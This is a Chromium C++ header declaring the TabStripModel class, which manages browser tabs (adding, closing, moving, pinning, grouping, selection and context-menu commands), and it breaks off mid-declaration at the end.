    "content": "// Copyright (c) 2012 The Chromium Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style license that can be\n// found in the LICENSE file.\n\n#ifndef CHROME_BROWSER_UI_TABS_TAB_STRIP_MODEL_H_\n#define CHROME_BROWSER_UI_TABS_TAB_STRIP_MODEL_H_\n\n#include <stddef.h>\n#include <stdint.h>\n\n#include <map>\n#include <memory>\n#include <vector>\n\n#include \"base/containers/span.h\"\n#include \"base/gtest_prod_util.h\"\n#include \"base/macros.h\"\n#include \"base/memory/weak_ptr.h\"\n#include \"base/observer_list.h\"\n#include \"base/optional.h\"\n#include \"base/scoped_observer.h\"\n#include \"base/strings/string16.h\"\n#include \"base/time/time.h\"\n#include \"base/timer/timer.h\"\n#include \"build/build_config.h\"\n#include \"chrome/browser/ui/tabs/tab_group_controller.h\"\n#include \"chrome/browser/ui/tabs/tab_strip_model_order_controller.h\"\n#include \"chrome/browser/ui/tabs/tab_switch_event_latency_recorder.h\"\n#include \"components/tab_groups/tab_group_id.h\"\n#include \"components/tab_groups/tab_group_visual_data.h\"\n#include \"ui/base/models/list_selection_model.h\"\n#include \"ui/base/page_transition_types.h\"\n\n#if defined(OS_ANDROID)\n#error This file should only be included on desktop.\n#endif\n\nclass Profile;\nclass TabGroupModel;\nclass TabStripModelDelegate;\nclass TabStripModelObserver;\n\nnamespace content {\nclass WebContents;\n}\n\n////////////////////////////////////////////////////////////////////////////////\n//\n// TabStripModel\n//\n// A model & low level controller of a Browser Window tabstrip. Holds a vector\n// of WebContentses, and provides an API for adding, removing and\n// shuffling them, as well as a higher level API for doing specific Browser-\n// related tasks like adding new Tabs from just a URL, etc.\n//\n// Each tab may be pinned. Pinned tabs are locked to the left side of the tab\n// strip and rendered differently (small tabs with only a favicon). The model\n// makes sure all pinned tabs are at the beginning of the tab strip. For\n// example, if a non-pinned tab is added it is forced to be with non-pinned\n// tabs. Requests to move tabs outside the range of the tab type are ignored.\n// For example, a request to move a pinned tab after non-pinned tabs is ignored.\n//\n// A TabStripModel has one delegate that it relies on to perform certain tasks\n// like creating new TabStripModels (probably hosted in Browser windows) when\n// required. See TabStripDelegate above for more information.\n//\n// A TabStripModel also has N observers (see TabStripModelObserver above),\n// which can be registered via Add/RemoveObserver. An Observer is notified of\n// tab creations, removals, moves, and other interesting events. The\n// TabStrip implements this interface to know when to create new tabs in\n// the View, and the Browser object likewise implements to be able to update\n// its bookkeeping when such events happen.\n//\n// This implementation of TabStripModel is not thread-safe and should only be\n// accessed on the UI thread.\n//\n////////////////////////////////////////////////////////////////////////////////\nclass TabStripModel : public TabGroupController {\n public:\n  // Used to specify what should happen when the tab is closed.\n  enum CloseTypes {\n    CLOSE_NONE                     = 0,\n\n    // Indicates the tab was closed by the user. If true,\n    // WebContents::SetClosedByUserGesture(true) is invoked.\n    CLOSE_USER_GESTURE             = 1 << 0,\n\n    // If true the history is recorded so that the tab can be reopened later.\n    // You almost always want to set this.\n    CLOSE_CREATE_HISTORICAL_TAB    = 1 << 1,\n  };\n\n  // Constants used when adding tabs.\n  enum AddTabTypes {\n    // Used to indicate nothing special should happen to the newly inserted tab.\n    ADD_NONE = 0,\n\n    // The tab should be active.\n    ADD_ACTIVE = 1 << 0,\n\n    // The tab should be pinned.\n    ADD_PINNED = 1 << 1,\n\n    // If not set the insertion index of the WebContents is left up to the Order\n    // Controller associated, so the final insertion index may differ from the\n    // specified index. Otherwise the index supplied is used.\n    ADD_FORCE_INDEX = 1 << 2,\n\n    // If set the newly inserted tab's opener is set to the active tab. If not\n    // set the tab may still inherit the opener under certain situations.\n    ADD_INHERIT_OPENER = 1 << 3,\n  };\n\n  // Enumerates different ways to open a new tab. Does not apply to opening\n  // existing links or searches in a new tab, only to brand new empty tabs.\n  // KEEP IN SYNC WITH THE NewTabType ENUM IN enums.xml.\n  // NEW VALUES MUST BE APPENDED AND AVOID CHANGING ANY PRE-EXISTING VALUES.\n  enum NewTab {\n    // New tab was opened using the new tab button on the tab strip.\n    NEW_TAB_BUTTON = 0,\n\n    // New tab was opened using the menu command - either through the keyboard\n    // shortcut, or by opening the menu and selecting the command. Applies to\n    // both app menu and the menu bar's File menu (on platforms that have one).\n    NEW_TAB_COMMAND = 1,\n\n    // New tab was opened through the context menu on the tab strip.\n    NEW_TAB_CONTEXT_MENU = 2,\n\n    // New tab was opened through the new tab button in the toolbar for the\n    // WebUI touch-optimized tab strip.\n    NEW_TAB_BUTTON_IN_TOOLBAR_FOR_TOUCH = 3,\n\n    // New tab was opened through the new tab button inside of the WebUI tab\n    // strip.\n    NEW_TAB_BUTTON_IN_WEBUI_TAB_STRIP = 4,\n\n    // Number of enum entries, used for UMA histogram reporting macros.\n    NEW_TAB_ENUM_COUNT = 5,\n  };\n\n  static constexpr int kNoTab = -1;\n\n  // Construct a TabStripModel with a delegate to help it do certain things\n  // (see the TabStripModelDelegate documentation). |delegate| cannot be NULL.\n  explicit TabStripModel(TabStripModelDelegate* delegate, Profile* profile);\n  ~TabStripModel() override;\n\n  // Retrieves the TabStripModelDelegate associated with this TabStripModel.\n  TabStripModelDelegate* delegate() const { return delegate_; }\n\n  // Sets the TabStripModelObserver used by the UI showing the tabs. As other\n  // observers may query the UI for state, the UI's observer must be first.\n  void SetTabStripUI(TabStripModelObserver* observer);\n\n  // Add and remove observers to changes within this TabStripModel.\n  void AddObserver(TabStripModelObserver* observer);\n  void RemoveObserver(TabStripModelObserver* observer);\n\n  // Retrieve the number of WebContentses/emptiness of the TabStripModel.\n  int count() const { return static_cast<int>(contents_data_.size()); }\n  bool empty() const { return contents_data_.empty(); }\n\n  // Retrieve the Profile associated with this TabStripModel.\n  Profile* profile() const { return profile_; }\n\n  // Retrieve the index of the currently active WebContents. This will be\n  // ui::ListSelectionModel::kUnselectedIndex if no tab is currently selected\n  // (this happens while the tab strip is being initialized or is empty).\n  int active_index() const { return selection_model_.active(); }\n\n  // Returns true if the tabstrip is currently closing all open tabs (via a\n  // call to CloseAllTabs). As tabs close, the selection in the tabstrip\n  // changes which notifies observers, which can use this as an optimization to\n  // avoid doing meaningless or unhelpful work.\n  bool closing_all() const { return closing_all_; }\n\n  // Basic API /////////////////////////////////////////////////////////////////\n\n  // Determines if the specified index is contained within the TabStripModel.\n  bool ContainsIndex(int index) const;\n\n  // Adds the specified WebContents in the default location. Tabs opened\n  // in the foreground inherit the opener of the previously active tab.\n  void AppendWebContents(std::unique_ptr<content::WebContents> contents,\n                         bool foreground);\n\n  // Adds the specified WebContents at the specified location.\n  // |add_types| is a bitmask of AddTabTypes; see it for details.\n  //\n  // All append/insert methods end up in this method.\n  //\n  // NOTE: adding a tab using this method does NOT query the order controller,\n  // as such the ADD_FORCE_INDEX AddTabTypes is meaningless here. The only time\n  // the |index| is changed is if using the index would result in breaking the\n  // constraint that all pinned tabs occur before non-pinned tabs. It returns\n  // the index the web contents is actually inserted to. See also\n  // AddWebContents.\n  int InsertWebContentsAt(\n      int index,\n      std::unique_ptr<content::WebContents> contents,\n      int add_types,\n      base::Optional<tab_groups::TabGroupId> group = base::nullopt);\n  // Closes the WebContents at the specified index. This causes the\n  // WebContents to be destroyed, but it may not happen immediately.\n  // |close_types| is a bitmask of CloseTypes. Returns true if the\n  // WebContents was closed immediately, false if it was not closed (we\n  // may be waiting for a response from an onunload handler, or waiting for the\n  // user to confirm closure).\n  bool CloseWebContentsAt(int index, uint32_t close_types);\n\n  // Replaces the WebContents at |index| with |new_contents|. The\n  // WebContents that was at |index| is returned and its ownership returns\n  // to the caller.\n  std::unique_ptr<content::WebContents> ReplaceWebContentsAt(\n      int index,\n      std::unique_ptr<content::WebContents> new_contents);\n\n  // Detaches the WebContents at the specified index from this strip. The\n  // WebContents is not destroyed, just removed from display. The caller\n  // is responsible for doing something with it (e.g. stuffing it into another\n  // strip). Returns the detached WebContents.\n  std::unique_ptr<content::WebContents> DetachWebContentsAt(int index);\n\n  // User gesture type that triggers ActivateTabAt. kNone indicates that it was\n  // not triggered by a user gesture, but by a by-product of some other action.\n  enum class GestureType {\n    kMouse,\n    kTouch,\n    kWheel,\n    kKeyboard,\n    kOther,\n    kTabMenu,\n    kNone\n  };\n\n  // Encapsulates user gesture information for tab activation\n  struct UserGestureDetails {\n    UserGestureDetails(GestureType type,\n                       base::TimeTicks time_stamp = base::TimeTicks::Now())\n        : type(type), time_stamp(time_stamp) {}\n\n    GestureType type;\n    base::TimeTicks time_stamp;\n  };\n\n  // Makes the tab at the specified index the active tab. |gesture_detail.type|\n  // contains the gesture type that triggers the tab activation.\n  // |gesture_detail.time_stamp| contains the timestamp of the user gesture, if\n  // any.\n  void ActivateTabAt(int index,\n                     UserGestureDetails gesture_detail =\n                         UserGestureDetails(GestureType::kNone));\n\n  // Report histogram metrics for the number of tabs 'scrubbed' within a given\n  // interval of time. Scrubbing is considered to be a tab activated for <= 1.5\n  // seconds for this metric.\n  void RecordTabScrubbingMetrics();\n\n  // Move the WebContents at the specified index to another index. This\n  // method does NOT send Detached/Attached notifications, rather it moves the\n  // WebContents inline and sends a Moved notification instead.\n  // EnsureGroupContiguity() is called after the move, so this will never result\n  // in non-contiguous group (though the moved tab's group may change).\n  // If |select_after_move| is false, whatever tab was selected before the move\n  // will still be selected, but its index may have incremented or decremented\n  // one slot. It returns the index the web contents is actually moved to.\n  int MoveWebContentsAt(int index, int to_position, bool select_after_move);\n\n  // Moves the selected tabs to |index|. |index| is treated as if the tab strip\n  // did not contain any of the selected tabs. For example, if the tabstrip\n  // contains [A b c D E f] (upper case selected) and this is invoked with 1 the\n  // result is [b A D E c f].\n  // This method maintains that all pinned tabs occur before non-pinned tabs.\n  // When pinned tabs are selected the move is processed in two chunks: first\n  // pinned tabs are moved, then non-pinned tabs are moved. If the index is\n  // after (pinned-tab-count - selected-pinned-tab-count), then the index the\n  // non-pinned selected tabs are moved to is (index +\n  // selected-pinned-tab-count). For example, if the model consists of\n  // [A b c D E f] (A b c are pinned) and this is invoked with 2, the result is\n  // [b c A D E f]. In this example nothing special happened because the target\n  // index was <= (pinned-tab-count - selected-pinned-tab-count). If the target\n  // index were 3, then the result would be [b c A f D F]. A, being pinned, can\n  // move no further than index 2. The non-pinned tabs are moved to the target\n  // index + selected-pinned tab-count (3 + 1).\n  void MoveSelectedTabsTo(int index);\n\n  // Moves all tabs in |group| to |to_index|. This has no checks to make sure\n  // the position is valid for a group to move to.\n  void MoveGroupTo(const tab_groups::TabGroupId& group, int to_index);\n\n  // Returns the currently active WebContents, or NULL if there is none.\n  content::WebContents* GetActiveWebContents() const;\n\n  // Returns the WebContents at the specified index, or NULL if there is\n  // none.\n  content::WebContents* GetWebContentsAt(int index) const override;\n\n  // Returns the index of the specified WebContents, or TabStripModel::kNoTab\n  // if the WebContents is not in this TabStripModel.\n  int GetIndexOfWebContents(const content::WebContents* contents) const;\n\n  // Notify any observers that the WebContents at the specified index has\n  // changed in some way. See TabChangeType for details of |change_type|.\n  void UpdateWebContentsStateAt(int index, TabChangeType change_type);\n\n  // Cause a tab to display a UI indication to the user that it needs their\n  // attention.\n  void SetTabNeedsAttentionAt(int index, bool attention);\n\n  // Close all tabs at once. Code can use closing_all() above to defer\n  // operations that might otherwise by invoked by the flurry of detach/select\n  // notifications this method causes.\n  void CloseAllTabs();\n\n  // Returns true if there are any WebContentses that are currently loading.\n  bool TabsAreLoading() const;\n\n  // Returns the WebContents that opened the WebContents at |index|, or NULL if\n  // there is no opener on record.\n  content::WebContents* GetOpenerOfWebContentsAt(int index);\n\n  // Changes the |opener| of the WebContents at |index|.\n  // Note: |opener| must be in this tab strip. Also a tab must not be its own\n  // opener.\n  void SetOpenerOfWebContentsAt(int index, content::WebContents* opener);\n\n  // Returns the index of the last WebContents in the model opened by the\n  // specified opener, starting at |start_index|.\n  int GetIndexOfLastWebContentsOpenedBy(const content::WebContents* opener,\n                                        int start_index) const;\n\n  // To be called when a navigation is about to occur in the specified\n  // WebContents. Depending on the tab, and the transition type of the\n  // navigation, the TabStripModel may adjust its selection behavior and opener\n  // inheritance.\n  void TabNavigating(content::WebContents* contents,\n                     ui::PageTransition transition);\n\n  // Changes the blocked state of the tab at |index|.\n  void SetTabBlocked(int index, bool blocked);\n\n  // Changes the pinned state of the tab at |index|. See description above\n  // class for details on this.\n  void SetTabPinned(int index, bool pinned);\n\n  // Returns true if the tab at |index| is pinned.\n  // See description above class for details on pinned tabs.\n  bool IsTabPinned(int index) const;\n\n  bool IsTabCollapsed(int index) const;\n\n  bool IsGroupCollapsed(const tab_groups::TabGroupId& group) const;\n\n  // Returns true if the tab at |index| is blocked by a tab modal dialog.\n  bool IsTabBlocked(int index) const;\n\n  // Returns the group that contains the tab at |index|, or nullopt if the tab\n  // index is invalid or not grouped.\n  base::Optional<tab_groups::TabGroupId> GetTabGroupForTab(\n      int index) const override;\n\n  // If a tab inserted at |index| would be within a tab group, return that\n  // group's ID. Otherwise, return nullopt. If |index| points to the first tab\n  // in a group, it will return nullopt since a new tab would be either between\n  // two different groups or just after a non-grouped tab.\n  base::Optional<tab_groups::TabGroupId> GetSurroundingTabGroup(\n      int index) const;\n\n  // Returns the index of the first tab that is not a pinned tab. This returns\n  // |count()| if all of the tabs are pinned tabs, and 0 if none of the tabs are\n  // pinned tabs.\n  int IndexOfFirstNonPinnedTab() const;\n\n  // Extends the selection from the anchor to |index|.\n  void ExtendSelectionTo(int index);\n\n  // Toggles the selection at |index|. This does nothing if |index| is selected\n  // and there are no other selected tabs.\n  void ToggleSelectionAt(int index);\n\n  // Makes sure the tabs from the anchor to |index| are selected. This only\n  // adds to the selection.\n  void AddSelectionFromAnchorTo(int index);\n\n  // Returns true if the tab at |index| is selected.\n  bool IsTabSelected(int index) const;\n\n  // Sets the selection to match that of |source|.\n  void SetSelectionFromModel(ui::ListSelectionModel source);\n\n  const ui::ListSelectionModel& selection_model() const;\n\n  // Command level API /////////////////////////////////////////////////////////\n\n  // Adds a WebContents at the best position in the TabStripModel given\n  // the specified insertion index, transition, etc. |add_types| is a bitmask of\n  // AddTabTypes; see it for details. This method ends up calling into\n  // InsertWebContentsAt to do the actual insertion. Pass kNoTab for |index| to\n  // append the contents to the end of the tab strip.\n  void AddWebContents(\n      std::unique_ptr<content::WebContents> contents,\n      int index,\n      ui::PageTransition transition,\n      int add_types,\n      base::Optional<tab_groups::TabGroupId> group = base::nullopt);\n\n  // Closes the selected tabs.\n  void CloseSelectedTabs();\n\n  // Select adjacent tabs\n  void SelectNextTab(\n      UserGestureDetails detail = UserGestureDetails(GestureType::kOther));\n  void SelectPreviousTab(\n      UserGestureDetails detail = UserGestureDetails(GestureType::kOther));\n\n  // Selects the last tab in the tab strip.\n  void SelectLastTab(\n      UserGestureDetails detail = UserGestureDetails(GestureType::kOther));\n\n  // Moves the active in the specified direction. Respects group boundaries.\n  void MoveTabNext();\n  void MoveTabPrevious();\n\n  // Create a new tab group and add the set of tabs pointed to be |indices| to\n  // it. Pins all of the tabs if any of them were pinned, and reorders the tabs\n  // so they are contiguous and do not split an existing group in half. Returns\n  // the new group. |indices| must be sorted in ascending order.\n  tab_groups::TabGroupId AddToNewGroup(const std::vector<int>& indices);\n\n  // Add the set of tabs pointed to by |indices| to the given tab group |group|.\n  // The tabs take on the pinnedness of the tabs already in the group, and are\n  // moved to immediately follow the tabs already in the group. |indices| must\n  // be sorted in ascending order.\n  void AddToExistingGroup(const std::vector<int>& indices,\n                          const tab_groups::TabGroupId& group);\n\n  // Moves the set of tabs indicated by |indices| to precede the tab at index\n  // |destination_index|, maintaining their order and the order of tabs not\n  // being moved, and adds them to the tab group |group|.\n  void MoveTabsAndSetGroup(const std::vector<int>& indices,\n                           int destination_index,\n                           base::Optional<tab_groups::TabGroupId> group);\n\n  // Similar to AddToExistingGroup(), but creates a group with id |group| if it\n  // doesn't exist. This is only intended to be called from session restore\n  // code.\n  void AddToGroupForRestore(const std::vector<int>& indices,\n                            const tab_groups::TabGroupId& group);\n\n  // Updates the tab group of the tab at |index|. If |group| is nullopt, the tab\n  // will be removed from the current group. If |group| does not exist, it will\n  // create the group then add the tab to the group.\n  void UpdateGroupForDragRevert(\n      int index,\n      base::Optional<tab_groups::TabGroupId> group_id,\n      base::Optional<tab_groups::TabGroupVisualData> group_data);\n\n  // Removes the set of tabs pointed to by |indices| from the the groups they\n  // are in, if any. The tabs are moved out of the group if necessary. |indices|\n  // must be sorted in ascending order.\n  void RemoveFromGroup(const std::vector<int>& indices);\n\n  TabGroupModel* group_model() const { return group_model_.get(); }\n\n  // Returns true if one or more of the tabs pointed to by |indices| are\n  // supported by read later.\n  bool IsReadLaterSupportedForAny(const std::vector<int> indices);\n\n  // Saves tabs with url supported by Read Later.\n  void AddToReadLater(const std::vector<int>& indices);\n\n  // TabGroupController:\n  void CreateTabGroup(const tab_groups::TabGroupId& group) override;\n  void OpenTabGroupEditor(const tab_groups::TabGroupId& group) override;\n  void ChangeTabGroupContents(const tab_groups::TabGroupId& group) override;\n  void ChangeTabGroupVisuals(\n      const tab_groups::TabGroupId& group,\n      const TabGroupChange::VisualsChange& visuals) override;\n  void MoveTabGroup(const tab_groups::TabGroupId& group) override;\n  void CloseTabGroup(const tab_groups::TabGroupId& group) override;\n  // The same as count(), but overridden for TabGroup to access.\n  int GetTabCount() const override;\n\n  // View API //////////////////////////////////////////////////////////////////\n\n  // Context menu functions. Tab groups uses command ids following CommandLast\n  // for entries in the 'Add to existing group' submenu.\n  enum ContextMenuCommand {\n    CommandFirst,\n    CommandNewTabToRight,\n    CommandReload,\n    CommandDuplicate,\n    CommandCloseTab,\n    CommandCloseOtherTabs,\n    CommandCloseTabsToRight,\n    CommandTogglePinned,\n    CommandToggleGrouped,\n    CommandFocusMode,\n    CommandToggleSiteMuted,\n    CommandSendTabToSelf,\n    CommandSendTabToSelfSingleTarget,\n    CommandAddToReadLater,\n    CommandAddToNewGroup,\n    CommandAddToExistingGroup,\n    CommandRemoveFromGroup,\n    CommandMoveToExistingWindow,\n    CommandMoveTabsToNewWindow,\n    CommandLast\n  };\n\n  // Returns true if the specified command is enabled. If |context_index| is\n  // selected the response applies to all selected tabs.\n  bool IsContextMenuCommandEnabled(int context_index,\n                                   ContextMenuCommand command_id) const;\n\n  // Performs the action associated with the specified command for the given\n  // TabStripModel index |context_index|.  If |context_index| is selected the\n  // command applies to all selected tabs.\n  void ExecuteContextMenuCommand(int context_index,\n                                 ContextMenuCommand command_id);\n\n  // Adds the tab at |context_index| to the given tab group |group|. If\n  // |context_index| is selected the command applies to all selected tabs.\n  void ExecuteAddToExistingGroupCommand(int context_index,\n                                        const tab_groups::TabGroupId& group);\n\n  // Adds the tab at |context_index| to the browser window at |browser_index|.\n  // If |context_index| is selected the command applies to all selected tabs.\n  void ExecuteAddToExistingWindowCommand(int context_index, int browser_index);\n\n  // Get the list of existing windows that tabs can be moved to.\n  std::vector<base::string16> GetExistingWindowsForMoveMenu();\n\n  // Returns true if 'CommandToggleSiteMuted' will mute. |index| is the\n  // index supplied to |ExecuteContextMenuCommand|.\n  bool WillContextMenuMuteSites(int index);\n\n  // Returns true if 'CommandTogglePinned' will pin. |index| is the index\n  // supplied to |ExecuteContextMenuCommand|.\n  bool WillContextMenuPin(int index);\n\n  // Returns true if 'CommandToggleGrouped' will group. |index| is the index\n  // supplied to |ExecuteContextMenuCommand|.\n  bool WillContextMenuGroup(int index);\n\n  // Convert a ContextMenuCommand into a browser command. Returns true if a\n  // corresponding browser command exists, false otherwise.\n  static bool ContextMenuCommandToBrowserCommand(int cmd_id, int* browser_cmd);\n\n  // Access the order controller. Exposed only for unit tests.\n  TabStripModelOrderController* order_controller() const {\n    return order_controller_.get();\n  }\n\n  // Returns the index of the next WebContents in the sequence of WebContentses\n  // spawned by the specified WebContents after |start_index|.\n  int GetIndexOfNextWebContentsOpenedBy(const content::WebContents* opener,\n                                        int start_index) const;\n\n  // Finds the next available tab to switch to as the active tab starting at\n  // |index|. This method will check the indices to the right of |index| before\n  // checking the indices to the left of |index|. |index| cannot be returned.\n  // |collapsing_group| is optional and used in cases where the group is\n  // collapsing but not yet reflected in the model. Returns base::nullopt if\n  // there are no valid tabs.\n  base::Optional<int> GetNextExpandedActiveTab(\n      int index,\n      base::Optional<tab_groups::TabGroupId> collapsing_group) const;\n\n  // Forget all opener relationships, to reduce unpredictable tab switching\n  // behavior in complex session states. The exact circumstances under which\n  // this method is called are left up to TabStripModelOrderController.\n  void ForgetAllOpeners();\n\n  // Forgets the opener relationship of the specified WebContents.\n  void ForgetOpener(content::WebContents* contents);\n\n  // Returns true if the opener relationships present for |contents| should be\n  // reset when _any_ active tab change occurs (rather than just one outside the\n  // current tree of openers).\n  bool ShouldResetOpenerOnActiveTabChange(content::WebContents* contents) const;\n\n private:\n  FRIEND_TEST_ALL_PREFIXES(TabStripModelTest, GetIndicesClosedByCommand);\n\n  class WebContentsData;\n  struct DetachedWebContents;\n  struct DetachNotifications;\n\n  // Performs all the work to detach a WebContents instance but avoids sending\n  // most notifications. TabClosingAt() and TabDetachedAt() are sent because\n  // observers are reliant on the selection model being accurate at the time\n  // that TabDetachedAt() is called.\n  std::unique_ptr<content::WebContents> DetachWebContentsImpl(\n      int index,\n      bool create_historical_tab);\n\n  // We batch send notifications. This has two benefits:\n  //   1) This allows us to send the minimal number of necessary notifications.\n  //   This is important because some notifications cause the main thread to\n  //   synchronously communicate with the GPU process and cause jank.\n  //   https://crbug.com/826287.\n  //   2) This allows us to avoid some problems caused by re-entrancy [e.g.\n  //   using destroyed WebContents instances]. Ideally, this second check\n  //   wouldn't be necessary because we would enforce that there is no\n  //   re-entrancy in the TabStripModel, but that condition is currently\n  //   violated in tests [and possibly in the wild as well].\n  void SendDetachWebContentsNotifications(DetachNotifications* notifications);\n\n  bool RunUnloadListenerBeforeClosing(content::WebContents* contents);\n  bool ShouldRunUnloadListenerBeforeClosing(content::WebContents* contents);\n\n  int ConstrainInsertionIndex(int index, bool pinned_tab) const;\n\n  int ConstrainMoveIndex(int index, bool pinned_tab) const;\n\n  // If |index| is selected all the selected indices are returned, otherwise a\n  // vector with |index| is returned. This is used when executing commands to\n  // determine which indices the command applies to. Indices are sorted in\n  // increasing order.\n  std::vector<int> GetIndicesForCommand(int index) const;\n\n  // Returns a vector of indices of the tabs that will close when executing the\n  // command |id| for the tab at |index|. The returned indices are sorted in\n  // descending order.\n  std::vector<int> GetIndicesClosedByCommand(int index,\n                                             ContextMenuCommand id) const;\n\n  // Returns true if the specified WebContents is a New Tab at the end of\n  // the tabstrip. We check for this because opener relationships are _not_\n  // forgotten for the New Tab page opened as a result of a New Tab gesture\n  // (e.g. Ctrl+T, etc) since the user may open a tab transiently to look up\n  // something related to their current activity.\n  bool IsNewTabAtEndOfTabStrip(content::WebContents* contents) const;\n\n  // Adds the specified WebContents at the specified location.\n  // |add_types| is a bitmask of AddTabTypes; see it for details.\n  //\n  // All append/insert methods end up in this method.\n  //\n  // NOTE: adding a tab using this method does NOT query the order controller,\n  // as such the ADD_FORCE_INDEX AddTabTypes is meaningless here. The only time\n  // the |index| is changed is if using the index would result in breaking the\n  // constraint that all pinned tabs occur before non-pinned tabs. It returns\n  // the index the web contents is actually inserted to. See also\n  // AddWebContents.\n  int InsertWebContentsAtImpl(int index,\n                              std::unique_ptr<content::WebContents> contents,\n                              int add_types,\n                              base::Optional<tab_groups::TabGroupId> group);\n\n  // Closes the WebContentses at the specified indices. This causes the\n  // WebContentses to be destroyed, but it may not happen immediately. If\n  // the page in question has an unload event the WebContents will not be\n  // destroyed until after the event has completed, which will then call back\n  // into this method.\n  //\n  // Returns true if the WebContentses were closed immediately, false if we\n  // are waiting for the result of an onunload handler.\n  bool InternalCloseTabs(base::span<content::WebContents* const> items,\n                         uint32_t close_types);\n\n  // |close_types| is a bitmask of the types in CloseTypes.\n  // Returns true if all the tabs have been deleted. A return value of false\n  // means some portion (potentially none) of the WebContents were deleted.\n  // WebContents not deleted by this function are processing unload handlers\n  // which may eventually be deleted based on the results of the unload handler.\n  // Additionally processing the unload handlers may result in needing to show\n  // UI for the WebContents. See UnloadController for details on how unload\n  // handlers are processed.\n  bool CloseWebContentses(base::span<content::WebContents* const> items,\n                          uint32_t close_types,\n                          DetachNotifications* notifications);\n\n  // Gets the WebContents at an index. Does no bounds checking.\n  content::WebContents* GetWebContentsAtImpl(int index) const;\n\n  // Returns the WebContentses at the specified indices. This does no checking\n  // of the indices, it is assumed they are valid.\n  std::vector<content::WebContents*> GetWebContentsesByIndices(\n      const std::vector<int>& indices);\n\n  // Sets the selection to |new_model| and notifies any observers.\n  // Note: This function might end up sending 0 to 3 notifications in the\n  // following order: TabDeactivated, ActiveTabChanged, TabSelectionChanged.\n  // |selection| will be filled with information corresponding to 3 notification\n  // above. When it's |triggered_by_other_operation|, This won't notify\n  // observers that selection was changed. Callers should notify it by\n  // themselves.\n  TabStripSelectionChange SetSelection(\n      ui::ListSelectionModel new_model,\n      TabStripModelObserver::ChangeReason reason,\n      bool triggered_by_other_operation);\n\n  // Selects either the next tab (|forward| is true), or the previous tab\n  // (|forward| is false).\n  void SelectRelativeTab(bool forward, UserGestureDetails detail);\n\n  // Moves the active tabs into the next slot (|forward| is true), or the\n  // previous slot (|forward| is false). Respects group boundaries and creates\n  // movement slots into and out of groups.\n  void MoveTabRelative(bool forward);\n\n  // Does the work of MoveWebContentsAt. This has no checks to make sure the\n  // position is valid, those are done in MoveWebContentsAt.\n  void MoveWebContentsAtImpl(int index,\n                             int to_position,\n                             bool select_after_move);\n\n  // Implementation of MoveSelectedTabsTo. Moves |length| of the selected tabs\n  // starting at |start| to |index|. See MoveSelectedTabsTo for more details.\n  void MoveSelectedTabsToImpl(int index, size_t start, size_t length);\n\n  // Adds tabs to newly-allocated group id |new_group|. This group must be new\n  // and have no tabs in it.\n  void AddToNewGroupImpl(const std::vector<int>& indices,\n                         const tab_groups::TabGroupId& new_group);\n\n  // Adds tabs to existing group |group|. This group must have been initialized\n  // by a previous call to |AddToNewGroupImpl()|.\n  void AddToExistingGroupImpl(const std::vector<int>& indices,\n                              const tab_groups::TabGroupId& group);\n\n  // Implementation of MoveTabsAndSetGroupImpl. Moves the set of tabs in\n  // |indices| to the |destination_index| and updates the tabs to the\n  // appropriate |group|.\n  void MoveTabsAndSetGroupImpl(const std::vector<int>& indices,\n                               int destination_index,\n                               base::Optional<tab_groups::TabGroupId> group);\n\n  // Moves the tab at |index| to |new_index| and sets its group to |new_group|.\n  // Notifies any observers that group affiliation has changed for the tab.\n  void MoveAndSetGroup(int index,\n                       int new_index,\n                       base::Optional<tab_groups::TabGroupId> new_group);\n\n  void AddToReadLaterImpl(const std::vector<int>& indices);\n\n  // Helper function for MoveAndSetGroup. Removes the tab at |index| from the\n  // group that contains it, if any. Also deletes that group, if it now contains\n  // no tabs. Returns that group.\n  base::Optional<tab_groups::TabGroupId> UngroupTab(int index);\n\n  // Helper function for MoveAndSetGroup. Adds the tab at |index| to |group|.\n  void GroupTab(int index, const tab_groups::TabGroupId& group);\n\n  // Changes the pinned state of the tab at |index|.\n  void SetTabPinnedImpl(int index, bool pinned);\n\n  // Ensures all tabs indicated by |indices| are pinned, moving them in the\n  // process if necessary. Returns the new locations of all of those tabs.\n  std::vector<int> SetTabsPinned(const std::vector<int>& indices, bool pinned);\n\n  // Sets the sound content setting for each site at the |indices|.\n  void SetSitesMuted(const std::vector<int>& indices, bool mute) const;\n\n  // Sets the opener of any tabs that reference the tab at |index| to that tab's\n  // opener or null if there's a cycle.\n  void FixOpeners(int index);\n\n  // Makes sure the tab at |index| is not causing a group contiguity error. Will\n  // make the minimum change to ensure that the tab's group is not non-\n  // contiguous as well as ensuring that it is not breaking up a non-contiguous\n  // group, possibly by setting or clearing its group.\n  void EnsureGroupContiguity(int index);\n\n  // The WebContents data currently hosted within this TabStripModel. This must\n  // be kept in sync with |selection_model_|.\n  std::vector<std::unique_ptr<WebContentsData>> contents_data_;\n\n  // The model for tab groups hosted within this TabStripModel.\n  std::unique_ptr<TabGroupModel> group_model_;\n\n  TabStripModelDelegate* delegate_;\n\n  bool tab_strip_ui_was_set_ = false;\n\n  base::ObserverList<TabStripModelObserver>::Unchecked observers_;\n\n  // A profile associated with this TabStripModel.\n  Profile* profile_;\n\n  // True if all tabs are currently being closed via CloseAllTabs.\n  bool closing_all_ = false;\n\n  // An object that determines where new Tabs should be inserted and where\n  // selection should move when a Tab is closed.\n  std::unique_ptr<TabStripModelOrderController> order_controller_;\n\n  // This must be kept in sync with |contents_data_|.\n  ui::ListSelectionModel selection_model_;\n\n  // TabStripModel is not re-entrancy safe. This member is used to guard public\n  // methods that mutate state of |selection_model_| or |contents_data_|.\n  bool reentrancy_guard_ = false;\n\n  // A recorder for recording tab switching input latency to UMA\n  TabSwitchEventLatencyRecorder tab_switch_event_latency_recorder_;\n\n  // Timer used to mark intervals for metric collection on how many tabs are\n  // scrubbed over a certain interval of time.\n  base::RepeatingTimer tab_scrubbing_interval_timer_;\n  // Timestamp marking the last time a tab was activated by mouse press. This is\n  // used in determining how long a tab was active for metrics.\n  base::TimeTicks last_tab_switch_timestamp_ = base::TimeTicks();\n  // Counter used to keep track of tab scrubs during intervals set by\n  // |tab_scrubbing_interval_timer_|.\n  size_t tabs_scrubbed_by_mouse_press_count_ = 0;\n  // Counter used to keep track of tab scrubs during intervals set by\n  // |tab_scrubbing_interval_timer_|.\n  size_t tabs_scrubbed_by_key_press_count_ = 0;\n\n  base::WeakPtrFactory<TabStripModel> weak_factory_{this};\n\n  DISALLOW_IMPLICIT_CONSTRUCTORS(TabStripModel);\n};\n\n// Forbid construction of ScopedObserver with TabStripModel:\n// TabStripModelObserver already implements ScopedObserver's functionality\n// natively.\ntemplate <>\nclass ScopedObserver<TabStripModel, 